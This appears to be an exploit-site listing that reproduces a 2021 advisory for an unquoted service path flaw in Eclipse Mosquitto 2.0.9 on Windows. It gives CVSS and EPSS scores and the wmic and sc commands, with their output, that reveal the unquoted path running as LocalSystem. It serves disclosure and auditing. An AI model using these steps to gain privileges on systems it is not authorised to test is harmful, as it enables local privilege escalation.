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Eclipse Mosquitto MQTT Broker 2.0.9 Unquoted Service Path

CVE Category Price Severity
CVE-2021-28043 CWE-428 $5,000 - $25,000 High
Author Risk Exploitation Type Date
r4d4 High Local 2021-03-19
CPE
cpe:cpe:/a:eclipse:mosquitto_mqtt_broker:2.0.9
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H 0.02192 0.50148

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021030121

Below is a copy:

Eclipse Mosquitto MQTT Broker 2.0.9 Unquoted Service Path
# Exploit Title: Eclipse Mosquitto MQTT broker 2.0.9 - 'mosquitto' Unquoted Service Path
# Discovery by: Riadh Bouchahoua 
# Discovery Date: 19-03-2021
# Vendor Homepage: https://mosquitto.org/
# Software Links : https://mosquitto.org/download/
# Tested Version: 2.0.9
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 64 bits

# Step to discover Unquoted Service Path:



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C:\Users\Admin>wmic service get name,pathname,startmode |findstr /i /v "C:\Windows\\" |findstr  "mosquitto"
mosquitto                                               C:\Program Files\mosquitto\mosquitto.exe run                      

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C:\Users\Admin>sc qc mosquitto
[SC] QueryServiceConfig russite(s)

SERVICE_NAME: mosquitto
        TYPE               : 10  WIN32_OWN_PROCESS
        START_TYPE         : 2   AUTO_START
        ERROR_CONTROL      : 1   NORMAL
        BINARY_PATH_NAME   : C:\Program Files\mosquitto\mosquitto.exe run
        LOAD_ORDER_GROUP   :
        TAG                : 0
        DISPLAY_NAME       : Mosquitto Broker
        DEPENDENCIES       :
        SERVICE_START_NAME : LocalSystem
            

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